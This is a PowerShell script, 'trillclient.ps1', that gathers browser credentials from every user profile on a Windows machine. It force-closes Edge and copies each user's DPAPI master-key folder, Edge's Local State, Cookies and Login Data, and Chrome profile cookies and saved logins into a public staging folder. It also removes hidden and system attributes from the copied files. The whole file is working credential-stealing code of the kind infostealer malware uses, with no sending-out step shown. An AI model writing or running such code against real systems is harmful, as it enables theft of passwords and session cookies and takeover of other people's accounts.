trillclient.ps1

# Assume these variables are defined earlier in your script
# $users_path     : Array or collection of user folder names (e.g., @("User1", "User2"))
# $copy_dest_path : Destination root folder (e.g., "D:\Backup\ChromeData")

$copy_dest_path = "C:\Users\Public\EdgeExtract"  # <-- MODIFY THIS
# Create the destination root folder if it doesn't exist
if (-not (Test-Path $copy_dest_path)) {
    New-Item -ItemType Directory -Path $copy_dest_path -Force | Out-Null
}

# Explicitly load the list of user profile folders from C:\Users
# Filters out common system profiles and only includes real user directories
$users_path = Get-ChildItem -Path "C:\Users" | Where-Object { ($_.Name -notin ("Public", "Default", "Default User", "All Users", "LocalService", "NetworkService", "DefaultAppPool")) -and (Test-Path "C:\Users\$($_.Name)\AppData")} | Select-Object -ExpandProperty Name

Write-Host "Found user profiles: $($users_path -join ', ')"
Write-Host "Killing Microsoft Edge and extracting credentials."

Get-Process -Name msedge -ErrorAction SilentlyContinue | Stop-Process -Force

foreach ($win_user_path in $users_path) {
    $sourceProtect = "C:\Users\$win_user_path\AppData\Roaming\Microsoft\Protect"
    $destProtect   = "$copy_dest_path\$win_user_path\Protect"

    $sourceLocalState = "C:\Users\$win_user_path\AppData\Local\Microsoft\Edge\User Data\Local State"
    $destLocalState   = "$copy_dest_path\$win_user_path\Local State"

    $sourceDefaultCookies = "C:\Users\$win_user_path\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies"
    $destDefaultCookies   = "$copy_dest_path\$win_user_path\Default\Network\Cookies"

    $sourceDefaultLogin = "C:\Users\$win_user_path\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"
    $destDefaultLogin   = "$copy_dest_path\$win_user_path\Default\Login Data"

    # 1. Copy the entire Protect folder (recursive, including hidden/system files)
    if (Test-Path $sourceProtect) {
        Copy-Item -Path $sourceProtect -Destination $destProtect -Recurse -Force -ErrorAction SilentlyContinue
    }

    # 2. Remove attributes on all copied files (recursive)
    if (Test-Path $destProtect) {
        Get-ChildItem -Path $destProtect -Recurse -Force | ForEach-Object {
            $_.Attributes = $_.Attributes -band (-bnot ([System.IO.FileAttributes]::Archive -bor 
                                                        [System.IO.FileAttributes]::System -bor 
                                                        [System.IO.FileAttributes]::ReadOnly -bor 
                                                        [System.IO.FileAttributes]::Hidden))
        }
    }

    # 3. Copy Local State (single file)
    if (Test-Path $sourceLocalState) {
        # Ensure destination directory exists
        $destDir = Split-Path $destLocalState -Parent
        if (-not (Test-Path $destDir)) { New-Item -Path $destDir -ItemType Directory -Force | Out-Null }
        
        Copy-Item -Path $sourceLocalState -Destination $destLocalState -Force
    }

    # 4. Copy Default profile Cookies and Login Data
    if (Test-Path $sourceDefaultCookies) {
        $destDir = Split-Path $destDefaultCookies -Parent
        if (-not (Test-Path $destDir)) { New-Item -Path $destDir -ItemType Directory -Force | Out-Null }
        Copy-Item -Path $sourceDefaultCookies -Destination $destDefaultCookies -Force
    }

    if (Test-Path $sourceDefaultLogin) {
        $destDir = Split-Path $destDefaultLogin -Parent
        if (-not (Test-Path $destDir)) { New-Item -Path $destDir -ItemType Directory -Force | Out-Null }
        Copy-Item -Path $sourceDefaultLogin -Destination $destDefaultLogin -Force
    }

    # 5. Find all additional Chrome profiles (folders matching "Profile *")
    $chromeBasePath = "C:\Users\$win_user_path\AppData\Local\Google\Chrome\User Data"
    if (Test-Path $chromeBasePath) {
        $profileFolders = Get-ChildItem -Path $chromeBasePath -Directory -Filter "Profile *" -ErrorAction SilentlyContinue

        foreach ($profile in $profileFolders) {
            $chrome_user_path = $profile.Name

            $srcCookies = "$chromeBasePath\$chrome_user_path\Network\Cookies"
            $dstCookies = "$copy_dest_path\$win_user_path\$chrome_user_path\Network\Cookies"

            $srcLogin = "$chromeBasePath\$chrome_user_path\Login Data"
            $dstLogin = "$copy_dest_path\$win_user_path\$chrome_user_path\Login Data"

            if (Test-Path $srcCookies) {
                $destDir = Split-Path $dstCookies -Parent
                if (-not (Test-Path $destDir)) { New-Item -Path $destDir -ItemType Directory -Force | Out-Null }
                Copy-Item -Path $srcCookies -Destination $dstCookies -Force
            }

            if (Test-Path $srcLogin) {
                $destDir = Split-Path $dstLogin -Parent
                if (-not (Test-Path $destDir)) { New-Item -Path $destDir -ItemType Directory -Force | Out-Null }
                Copy-Item -Path $srcLogin -Destination $dstLogin -Force
            }
        }
    }
}